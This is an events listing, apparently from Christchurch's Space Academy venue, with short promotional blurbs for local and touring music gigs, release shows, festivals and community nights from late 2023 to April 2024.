Take a journey with Danica Bryant and her out-of-this-world band on their 2023 Astrology Tour! On a flight from outer space through Aotearoa, they're celebrating the release of Bryant's latest single 'Libra', and it's your destiny to join the party. “Deliciously sweet yet shockingly bitter” (Under The Radar), pop-rock-folk star Danica Bryant boasts support slots for acts like Elton John and Foreigner, mentorship from Kiwi legend Bic Runga, and awards from New Zealand On Air, Smokefree Rockquest and Play It…
Find out more »Model Home Album Release Christchurch
The Christchurch sad songs quartet Model Home are stoked to announce a New Zealand album release tour throughout late September. Joined by Best Bets & This Dog. This debut album ...And Nobody Made A Sound was recorded at Roundhead Studios with Steven Marr. First single Leaky Home Simulator 2031 reached #4 on the New Zealand Student Radio chart with its snappy guitar parts and vocal interplay. The band aren't the only ones excited; they have won two indie labels to…
Find out more »Amiria Grenell And Saint Martins Single Release Tour
Amiria Grenell & Saint Martins Single Release Tour - Te Waipounamu Amiria Grenell & Saint Martins (Monique Aiken, Ryan Fisherman & Chris William) will be hitting the road to celebrate their newly released singles. Spread across the weekends of early spring, these talented musicians from Otautahi will be playing some beautiful intimate concert's around the South Island - Te Waipounamu. It's been 8 years since Amiria released her last album Autumn & she's looking forward to touring & celebrating the…
Find out more »Amiria Grenell And Saint Martins Single Release Tour
Amiria Grenell & Saint Martins (Monique Aiken, Ryan Fisherman & Chris William) will be hitting the road to celebrate their newly released singles. Spread across the weekends of early spring, these talented musicians from Otautahi will be playing some beautiful intimate concert's around the South Island - Te Waipounamu. It's been 8 years since Amiria released her last album Autumn & she's looking forward to touring & celebrating the release of her first single 'Romeo' from her upcoming record. Saint…
Find out more »Pretty Stooked w/ The Knews
After the release of their debut EP and nationwide tour earlier this year Pretty Stooked are hitting Space Academy in Ōtautahi for one last show before making the move to Melbourne this October. This will be their last NZ show for a while so catch them while you can. Support from The Knews.
Find out more »The Dud Uglys
Punk band from Dunedin, coming to Christchurch to promote their first EP Death by Doomsday! can listen here -https://youtu.be/B_VU-Ku5cKs playing alongside Christchurch legends Stonechild, only you and more tbc!
Find out more »this dog ‘Bug Eyed’ Release Show w/ Only You & Velveteen
this dog are dropping their latest single 'Bug Eyed' and are celebrating it Sept 29th at Space Academy! With support from Only You & Velveteen, we're in for a Netflix ass coming-of-age movie kind of night Bring your friends and find a baby sitter for your cat, Fri the 29th is the night!
Find out more »October 2023
K M T P – ‘With Love, K M T P’ Album Release Tour
To celebrate the release of their debut album 'With Love, K M T P' K M T P is traversing Aotearoa! 30/09/23 - Tāmaki Makaurau / Auckland - Flying Out Instore 06/10/23 - Ōtautahi / Christchurch - Space Academy (Solo) 07/10/23 - Ōtepoti / Dunedin - Yours (Solo) 14/10/23 - Te Whanganui-a-Tara / Wellington - Vogelmorn Hall 20/10/23 - Tāmaki Makaurau / Auckland - Whammy Bar ‘With Love, K M T P’ is an album which feels distilled from long…
Find out more »Now!here!this! Ōtautahi 2023
The Audio Foundation’s travelling festival returns to Ōtautahi for 4 days of ‘Urgent Sound, Adventurous Music & Deep Listening’, curated by local legends Anita Clark (Motte) and Rory Dalley (I.R.D). The festival brings a selection of innovative artists to Christchurch in the spirit of collaboration – alongside solo performances there are unique lineups featuring 30+ musicians and performing artists exploring the art of spontaneous creation. Fronting the lineup from outside Ōtautahi are songwriter/producer i.e Crazy and electronics genius Kraus (Tāmaki…
Find out more »Now!here!this! Ōtautahi 2023 – Opening Night
The Audio Foundation’s travelling festival returns to Ōtautahi for 4 days of ‘Urgent Sound, Adventurous Music & Deep Listening’, curated by local legends Anita Clark (Motte) and Rory Dalley (I.R.D). The festival brings a selection of innovative artists to Christchurch in the spirit of collaboration – alongside solo performances there are unique lineups featuring 30+ musicians and performing artists exploring the art of spontaneous creation. Opening Night! 1) Greg Malcolm / Paul Sutherland / Sum Suraweera 2) Gemma Syme /…
Find out more »Now!here!this! Ōtautahi 2023 – Night 2
The Audio Foundation’s travelling festival returns to Ōtautahi for 4 days of ‘Urgent Sound, Adventurous Music & Deep Listening’, curated by local legends Anita Clark (Motte) and Rory Dalley (I.R.D). The festival brings a selection of innovative artists to Christchurch in the spirit of collaboration – alongside solo performances there are unique lineups featuring 30+ musicians and performing artists exploring the art of spontaneous creation. 1 - Jonny Marks / Jenny Ward / James Robinson / Reece McNaughton 2 -…
Find out more »Now!here!this! Ōtautahi 2023 – Night 3
The Audio Foundation’s travelling festival returns to Ōtautahi for 4 days of ‘Urgent Sound, Adventurous Music & Deep Listening’, curated by local legends Anita Clark (Motte) and Rory Dalley (I.R.D). The festival brings a selection of innovative artists to Christchurch in the spirit of collaboration – alongside solo performances there are unique lineups featuring 30+ musicians and performing artists exploring the art of spontaneous creation. 1 - Ludus / Heather Webb / Luke Scott / Jake Kīanō Skinner 2- Riki…
Find out more »Office Dog
100% GOOD & Undertheradar are stoked to announce a nationwide album release tour to celebrate the release of Office Dog’s debut album Spiel. After a blistering July debut at Auckland’s Whammy Bar, the tour will see the band perform headline dates in Auckland, Dunedin, Christchurch and Wellington. SEPT 22 – THIRSTY DOG – AUCKLAND OCT 14 – DIVE – DUNEDIN OCT 15 – SPACE ACADEMY CHRISTCHURCH OCT 19 – MEOW – WELLINGTON* Tickets available from Undertheradar.co.nz, or *Moshtix in Wellington…
Find out more »Jenny Don’t And The Spurs From Portland Oregon Usa
Hailing from the wilds of Oregon, JENNY DON'T & THE SPURS have been playing their raucous honky tonk sounds for over ten years and spent a few weeks here last year, winning over audiences show by show. With roots in Portland's fertile punk and garage scenes - bass player Kelly Halliburton was in the Pierced Arrows with Dead Moon's Fred & Toody Cole and the Spurs late and lamented original drummer Sam Henry was in the legendary Wipers - Jenny…
Find out more »‘Favourite Coffee Cup’ Single Release Show
Alice Tozer is breaking back into the Ōtautahi music scene with their much anticipated single release 'Favourite Coffee Cup'. Come on down to Space Academy and celebrate the release by listening to some wholesome music with your friends. Kicking off the night is the gorgeous Harry Burt! Sharing some beautiful original tunes in an acoustic setting to get you warmed up and feeling cozy. Doors open at 8pm First act at 8:30pm
Find out more »Big Angry ~ Ragweed ~ Kenring
Do you like music? How about beer? What about music AND beer? Perhaps you would like to drink beer while listening to music? If so, bring your sweet ass down to Space Academy on the 27th of October!! The stars have aligned to present the hottest meat Christchurch has to offer. Big Angry, RAGWEED, and Kenring have arisen from their eternal sleep to give you the most music and beer filled night of your life. ---- Big Angry, hailing from…
Find out more »Te Kita Hou/The New Guitar
03 Sessions, TuneSoc and Space Academy present: TE KITA HOU/THE NEW GUITAR Space Academy is hosting TE KITA HOU this Halloween weekend! Celebrating guitar music from Ōtautahi/Christchurch that share a kaupapa of existential sonic delights, ranging from pure improvised strings into post-punk disassociation. DOORS FROM 6PM EARLYBIRD TICKETS FROM UTR Featuring performances from: MARSHA T.G. SHAND SAM BAMBERY GREG MALCOLM AND HEATHER WEBB SUBATOMIC THERAPY and DJ DR LEE BORRIE
Find out more »Brazilian Jam At Space Academy
Calling in all people interested in Brazilian music to join us for an evening jam. Open to all instruments and all levels. The goal is to get together and have a good time!!! In Brazil, roda (circle) de choro is an informal type of jam session taking place in a bar, with musicians sitting around a table. This type of event is very open, with experienced players welcoming new joiners and helping them learn the tunes on the fly.
Find out more »November 2023
Imperial April Album Release Show with Best Bets & Emma Dilemma (solo)
Get ready for a great night of melodic punk and gritty pop as New Zealand’s sweetest grunge band Imperial April celebrates the release of their self-titled debut album. Join us on November 4th, 2023, at Space Academy in Ōtautahi | Christchurch, alongside the exceptional talents and top notch banter of Emma Dilemma (solo) and Best Bets. Imperial April burst onto the scene during the global standstill of the pandemic, showcasing the captivating vocals of bassist Victoria Knopp, jangly guitars, and…
Find out more »John Otway
UTR Presents CLEAN DiRT & under the radar present .... JOHN OTWAY (Rock & Roll's greatest failure ?) see his movie here https://www.youtube.com/watch?v=sRUC5OGGS2AGEt tix to his forthcoming NZ shows in November here ... https://www.undertheradar.co.nz/tour/21648/John-Otway--Clean-Dirt-And-Under-The-Radar-Present-.utr John Otway returns to NZ ! John Otway's early 2023 debut tour of the Shaky Isles was well and truly shaken when Gabrielle had other ideas causing John to have to postpone three shows. He said he'd be back, and true to his word John returns in November.Those lucky…
Find out more »Funk The Night
Ōtautahi this is going to be a goodie! A night filled to the brim of fresh funky beats from a selection of NZ DJs. From soulful house, nu-disco, glitch through to deep bush tech, this is a night to fill your cup with! Illiterate Prizz Doc Siliconbeat David Juno Funk the night away with this mini electronic fest at Space Academy Doors open at 8pm Dancing shoes required
Find out more »SKILAA ‘Jenny Greenteeth’ Single Release Tour
SKILAA 'Jenny Greenteeth' Single Release Tour 8:30pm - Sat Nov 11th, 2023 at Space Academy Tickets - https://www.undertheradar.co.nz/gig/86250/Skilaa-Jenny-Greenteeth-Single-Release-Tour.utr SKILAA are back on tour this November to mark the release of “Jenny Greenteeth”, the second single (and its accompanying music video) off their upcoming and highly anticipated album (soon to be released on Inner Tribe Records early next year!) Coming back to Space Academy Otautahi! (Christchurch) Support act to be announced, stay tuned! 8:30pm - Doors 9:00 - opener TBC 9:45…
Find out more »Sports Team’s Projector Party #1: Scary Films
Announcing Sports Team’s Projector Party: An anything-goes curation of local filmmakers' no-budget explorations, touring the country this November. Given the season, the inaugural Projector Party screening series begins in Auckland Monday 6th with a spooky twist, featuring everything from gnarly body horror to pervy moons. This party's feature short (see what I did there) comes from the marvellous mind of Auckland-based filmmaker Conor Bowden. The Flat (Indie Short Fest's Best Mobile Short winner, Short Shorts Film Festival & Asia official…
Find out more »Holly Kimber and Sam Bambery
DOUBLE HEADLINER at Space Academy Christchurch Holly Kimber and Sam Bambery Holly Kimber is a well-recognized name in Ōtautahi/Christchurch, having performed covers through a circuit of local venues. She has evolved in 2023 with a new sound and original songs. Holly has a tale to tell and does it with a full-bodied indie sound streaked with psychedelic influence and fluent vocals. She is excited for a singer-songwriter journey, having already laid tracks for her forthcoming debut EP expected early 2024.…
Find out more »Bridges
Aotearoa indie-pop artist Bridges is heading off on tour to celebrate the release of her debut EP TWENTY SOMETHING, which is out on October 20 and will feature the new single ‘Misfits’. Performing with her captivating live four-piece band, Bridges will play a homecoming show in Christchurch at Space Academy on November 25 and in Auckland at Big Fan on December 6. The tour is momentous for Christchurch-born, Auckland-based Bridges; taking in two cities that have shaped her as a…
Find out more »Mermaidens
UTR Presents 100% GOOD & Undertheradar are thrilled to announce Mermaidens will be taking their brand new self-titled album on the road this summer, and you’re all invited. The four-date tour includes shows at Dunedin’s Dive, Christchurch’s Space Academy, the iconic Hollywood Avondale in Auckland (with special guests Earth Tongue), and in their hometown of Wellington for a gig at San Fran. Lead single “I like to be alone” set an uplifting scene for Mermaidens’ return, and signified a bold…
Find out more »December 2023
Amber Carly Williams – EP Release Show
On the 24th of November, Ōtautahi-based indie-pop artist Amber Carly Williams will release her debut EP ‘21 Roses’, a body of vulnerable songs produced by the talented Terence O'Connor and backed by an incredible team of local creatives. The release of 21 Roses will be accompanied by Amber and her band's debut headline show at Space Academy on December 1st. The band have played together for a number of years now, opening for artists including Mim, Jack Page, Pretty Stooked…
Find out more »Club De Danse #4 The Lonliest Hunk
CDD are back in Otautahi to give you your next injection of underground ear candy to take you to planet JuJu. The last event was an absolutely incredible! but do we have something extra special in the bag for you!! Not only have we got brought in some of Otautahi finest selectors! We are also stoked to announce we have THE LONELIEST HUNK making his first appearance for CDD and also the south island since his stint in party hotspots…
Find out more »Velveteen – EP Release w/Sam Bambery and Oceans (AU)
Up and coming Ōtautahi/Christchurch alt-rock cultists Velveteen present their debut EP at the irreverent Space Academy. With support from nervous breakdown folk-rocker Sam Bambery and Melbourne-based shoegaze outfit Oceans. DOORS 8pm MUSIC FROM 8:30PM Velveteen is the solo project of Jai Oakley. A musician and artist living in Christchurch, New Zealand. Jai has a rich musical history which he weaves into the fabric of his solo project. Having made his mark as an integral part of the band Senica, Jai…
Find out more »This Dogs Last Hoorah w/ Marsha, Monotones + Tba
this dog are taking the stage with Marsha, Monotones and one other mysteriously unannounced band for their last gig of the year. This will be your last time to catch this dog in the flesh (for the near future) before we have to replace Andre and Jake with hyper realistic wax figures as they pursue that sweet green grass of Wellington and Melbourne. December the 9th @ Space Academy, Doors at 7:00pm
Find out more »South Natural Wine Festival
Christchurch is hosting the first ever natural wine festival in Aotearoa! Natural wines are made with hand-picked organic grapes, fermented with wild yeast with no additions. Everything happens naturally, mostly by hand, without heavy machineries, intervention and manipulations. You will get to meet the winemakers. Try their wines. Hear their stories of going the natural way, despite all the challenges and how they make their beautiful wines. Maximum 70 tickets available, selling fast, book now to secure your ticket. Natural…
Find out more »Jack Page – Live solo
In celebration of his upcoming album ‘Run Into the Night’ out November 29th, Jack Page is excited to be playing a string of intimate venues across New Zealand. This release comes after his relocation to London last year which has seen the soul soaked energy south of the the river making its way into his music. Jack’s debut record ‘The Days, Pt. I & II’ was graciously received by listeners near and far, racking up millions of streams online and…
Find out more »You Should Be Dancing @ Space Academy
You Should Be Dancing is a giant disco dancing celebration, a boogie wonderland featuring classic tunes groovy enough to make even a statue move. A club night of super danceable disco hits! If you love disco, or just want to shake your thing and have a great night out, this night is for you. We are excited to announce we are back in time for an end of year boogie! All kinds of nice people are welcome. Dress up or…
Find out more »Space Academy Christmas Bash
To celebrate the end of the year and the silliest season of all we're having a party / charity show with a bunch of fun bands! Featuring; Best Bets Kool Aid Model Home The Tacks +DJs DJs & Pizza from 5pm Ticket holders only from 8pm Bands from 8.30 All money goes directly to the City Mission!
Find out more »Space Academy Christmas Bash
To celebrate the end of the year and the silliest season of all we're having a party / charity show with a bunch of fun bands! Featuring; Best Bets Kool Aid Model Home The Tacks +DJs DJs & Pizza from 5pm Ticket holders only from 8pm Bands from 8.30 All money goes directly to the City Mission!
Find out more »January 2024
Violet Hirst And Kane Strang
Violet and Kane return to Ōtautahi for two solo sets.
Find out more »Just Janie
Folk singer-songwriter Just Janie is coming to Ōtautahi/ Christchurch to perform her single release show 'Love Letter to Myself' at Space Academy! Come along for a night of dreamy music and musings. Drawing inspiration from the folk scene of the late sixties and early seventies, Janie’s music can be described as captivating and tender. Her lyrics offer an intimately raw window into her experiences of love and loss and what it means to write and perform her music. Her first…
Find out more »February 2024
Party Of Special Things To Do
Party of special things features Guylaine Cosseron, an animalistic singer exploring a 'total voice' where all components of vocal sound are part of musical expression, and Diemo Schwarz who is based in Paris and an active contributor both to improvised music practice using computers, and to emergent research on concatenative synthesis, a technique where tiny particles of sound are re-assembled algorithmically into new sonic realities. Their duo folds exploratory voice and fragmented electro-acoustics in strange communions. Performance featuring: Guylaine Cosseron…
Find out more »The Great Summer Send Off ’24
We always celebrate the start of the summer, but what about sending it off in the new year? The Great Summer Sendoff 2024 is exactly that - an opportunity for us to celebrate one last time in the new year before we bugger off for the remainder of the year. High school grads, first-year & existing students, graduates & yo-pros - this night is for you! Come down for a wee boogie for what will be an entertaining night showcasing…
Find out more »The Great Summer Sendoff 2024
We always celebrate the start of the summer, but what about sending it off in the new year? The Great Summer Sendoff 2024 is exactly that - an opportunity for us to celebrate one last time in the new year before we bugger off for the remainder of the year. High school grads, first-year & existing students, graduates & yo-pros - this night is for you! Come down for a wee boogie for what will be an entertaining night showcasing…
Find out more »Club Do Choro – Brazilian Jam at Space Academy
Calling in all people interested in Brazilian music to join us for an evening jam. Open to all instruments and all levels. The goal is to get together and have a good time!!! In Brazil, roda (circle) de choro is an informal type of jam session taking place in a bar, with musicians sitting around a table. This type of event is very open, with experienced players welcoming new joiners and helping them learn the tunes on the fly.
Find out more »Catalyst Open Mic Night
Catalyst is a poetry open mic for open hearts and minds. Haere mai, BYO words and come enjoy the hospitality of Space Academy (including the finest pizza in town) and meet other poets and writers. Occasionally hosting touring poets and book launches and generally nurturing spoken word in Ōtautahi.
Find out more »Horizone and Wulfie Live!
Horizone are back playing live and they are hornier than ever (Featuring live guest Saxophonist Andy Manning). Bringing high energy DFS (DUB-FUNK-SOUL) that will pleasantly surprise your ear-holes and have your body involuntarily gyrating to climax. If you are DTF (Down to Funk) then join us for what's guaranteed to be an absolutely marvelous evening full of slick melodies and slinky grooves.. Opening band: Wulfie - a delectable synth pop sensation guaranteed to leave you wanting more. Tickets available from…
Find out more »Space Academy Presents: Jo Meares and Mark McCartney + Emily Fairlight and Shaun Malloch
Australian singer/songwriter Jo Meares and guitarist from his band the Silver Bullets Mark McCartney present a one off New Zealand show at The Space Academy. They will be joined by the extraordinary Christchurch artist Emily Fairlight and her glorious pedal steel player Shaun Malloch. Jo Meares released his 5th solo album ‘Dream Hotel’ in 2022. All Jo’s albums have been critically acclaimed and his 2009 release ‘A Handful of Smoke’ was awarded Australian album of the year on 2SER’s Outpost…
Find out more »JO MEARES + MARK McCARTNEY with EMILY FAIRLIGHT and SHAUN MALLOCH
Australian singer/songwriter Jo Meares and guitarist from his band the Silver Bullets Mark McCartney present a one off New Zealand show at The Space Academy. They will be joined by the extraordinary Christchurch artist Emily Fairlight and her glorious pedal steel player Shaun Malloch. Jo Meares released his 5th solo album ‘Dream Hotel’ in 2022. All Jo’s albums have been critically acclaimed and his 2009 release ‘A Handful of Smoke’ was awarded Australian album of the year on 2SER’s Outpost…
Find out more »Party Of Special Things To Do
Duo Guylaine Cosseron / Diemo Schwarz (FR) Ōtautahi musical adventurers (watch this space) Guylaine Cosseron is an animalistic singer exploring a 'total voice' where all components of vocal sound are part of musical expression. Diemo Schwarz is based in Paris and an active contributor both to improvised music practice using computers, and to emergent research on concatenative synthesis, a technique where tiny particles of sound are re-assembled algorithmically into new sonic realities. Their duo folds exploratory voice and fragmented electro-acoustics…
Find out more »Mad Like Me (Tour)
Are you mad like me? Come watch a podcast being recorded... LIVE! Sit back, relax and be prepared to laugh, cry and learn about the lived experiences of everyday humans and their mental health. Similar to a theatre show or a live panel, we'll be recording a podcast episode - right in front of you! Mad Like Me is a space where we can talk to people about the lived realities of mental health, well-being and life. It's funny, honest…
Find out more »Monotones
Come see local indie band Monotones play at Space Academy with Velveteen and Only You!
Find out more »L. Hotel & Pool House
Ōtepoti’s favourites, L. Hotel, are embarking on their biannual journey to the Avon River to play their first ever gig at SPACE ACADEMY with Ōtautahi’s very own Pool House on Saturday the 17th February.
Find out more »Clube Do Choro
Join us for a festive evening at the Space Academy where artists jam along to Brazilian Music! Free entry, everyone is welcome
Find out more »Holy Fuck
Holy Fuck are coming to Christchurch! Canadian quartet Holy Fuck have always been happy to plow a distinctly lone furrow. Never ones to chase the limelight or hop on any genre-wagon that happens to be passing by, they’ve played by their own rules for the past part of 15 years and five albums. It’s for that reason that they’ve become one of Canada’s finest, and most influential, exports, with their widescreen, technicolour, crescendo-heavy and highly danceable sound often finding itself…
Find out more »Flynn Adamson – Chasing Ghosts Release Show
FLYNN is doing his first headline show at Space Academy on Wednesday 28th of February. Flynn will be showcasing his brand new show with a new look, new songs, songs you already love of his, and some special guests. This show is not to be missed and is cheap as chips! There are a few $10 early bird sales and GA with will be $20. This will sell fast so don't snooze. Here is his music and socials: https://open.spotify.com/artist/2fYN006pqJR6MucIfcO9Wv?si=Da6oK6qbSSGzdYh0KR61mA https://www.tiktok.com/@adamson.flynn?_t=8jTYKN76JYP&_r=1
Find out more »March 2024
Di-lemma
Indie-pop duo Hugh and Hannah bring their quintessential Di-lemma sound to Space Academy for one night only! With a unique mixture of ages, influences and styles, Di-lemma creates a beautiful alternative-indie sound. After their last sell-out show, bookings are recommended.
Find out more »Dateline’s ‘Choose Me’ Tour
Dateline are celebrating the release of their new single Choose Me by going on tour throughout Aotearoa. Katie Everingham's Dateline project returns in 2024 with a new band featuring Hikurangi Schaverien-Kaa (Ebony Lamb, French For Rabbits, Glass Vaults), Phoebe Johnson (Ebony Lamb, Revulva), and Reuben McDonald. Choose Me is the first new music since their critically acclaimed 2022 debut album Dumb For My Age. With her shit-hot band in tow, Choose Me was recorded at Vogelmorn Hall by Jonathan Pearce (The Beths)…
Find out more »Jen Cloher Solo Tour
After some incendiary band shows in Te Whanganui-a-Tara and Tāmaki Makaurau last year, Jen Cloher returns for an intimate solo tour featuring an Ōtautahi debut. Those who first discovered Cloher on tour with Tiny Ruins in 2019 will remember how powerful their solo shows can be. Their most recent album, Ko au te awa, Ko te awa ko au (I Am The River, The River Is Me) is a return to Cloher’s Māori whakapapa (Ngāpuhi/ Ngāti Kahu) honouring the line…
Find out more »By Tomorrow EP Release Show
Join By Tomorrow to celebrate the successful release of their debut EP, Comfort in a Cold Place, featuring a support set from No Broadcast. The band is fast gathering momentum, steadily building a loyal following through their polished live sets. This show is no different, and will offer a multi-genre setlist featuring fan-favourite songs, as well as the band's new songwriting. The EP is the first conceptual work from By Tomorrow, themed around the acceptance of discomfort and the eye-opening…
Find out more »Guideless, Third Junction, Peppy Baggins And Self Titled
Ōtautahi indie psych rockers Guideless are presenting a night of indie antics, to celebrate their upcoming single Prototype. If they get their sh%* sorted in time that is! We've got support from a bunch of young upcoming bands. Third Junction are making their mark with tight and catchy songs and stellar musicianship. Peppy Baggins are a duo of brothers who combine lush soundscapes and infectious melodies. Self Titled bring surfy vibes and a raw energy. Music starts at 8pm.
Find out more »03 Sessions – Simurgh Ensemble
Simurgh is a Christchurch-based fusion ensemble of traditional instruments from Iran, Afghanistan, Turkey, India, and the Arabic world. The group was born out of the collaboration between multi-instrumentalists Esmail Fathi, Liam Oliver, Nelson & Pragunya Myers-Daly, as well as other local musicians and singers experienced in these rich music traditions. Esmail and Liam are known for co-founding the eponymous Simurgh Music School, Aotearoa’s first organization aimed to teach the performing arts from Persia and surrounding regions. Nelson and Pragunya are…
Find out more »The Audio Visual Drop Kicks w/ Pool House and Palo Alto
Ōtepoti indie rockers the Audio Visual Drop Kicks are heading to Ōtautahi for their first out-of-town gig this year! Joining them at Space Academy will be slow core experts Palo Alto and local legends Pool House. With tickets just $10 this is not one to miss! Limited door sales available at $15.
Find out more »April 2024
Hyperculte (Switzerland) w/ No Exit + Worldwide Panopticon
Pyramid Club presents Hyperculte. After abandoning their tour in March 2020 as Covid hit, Hyperculte are back to finish what they started. Hyperculte's music hints at the kind of ancient, pine-scented black magic of central European folklore captured in the costumes on the cover of their 2016 self-titled debut album. Driving forces of the Geneva experimental rock scene, Simone Aubert (drums/guitar/vocals) and Vincent Bertholet (double bass/vocals) hail from the either side of the mountainous, myth-drenched Swiss-French border region. They met…
Find out more »Ebony Lamb with Gram Antler + Holly Arrowsmith ~ Space Academy
Ebony Lamb is a Taite Music Prize Finalist and is joined by long time collaborator Gram Antler (Eb & Sparrow) and very special guest and award winning songstress Holly Arrowsmith for one night only at Space Academy in Ōtautahi Christchurch. “words spilling out of a voice imbued with the honey-soaked hue of an artist like Sharon Van Etten” Rolling Stone Aus/NZ FRIDAY 5th APRIL 2024 8PM DOORS 8.30PM HOLLY ARROWSMITH 9.30PM EBONY LAMB w GRAM ANTLER Returning south after the…
Find out more »Luke Buda (and Band)
This April Te Whanganui-a-Tara's Luke Buda (he/him) - with hot new single imminent - is finally taking his band on tour. Featuring some of the hardest working musicians in Aotearoa: Olivia Campion (she/her, Yumi Zouma, Mystery Waitress, Grayson Gilmour), Jacqui Nyman (she/her, Bret McKenzie Band, Grayson Gilmour) and Anita Clark, (she/her, Motte, Lawrence Arabia, Don McGlashan and The Phoenix Foundation) they’ll play most of his 2021 solo album Buda and if the mood is right might even throw in a…
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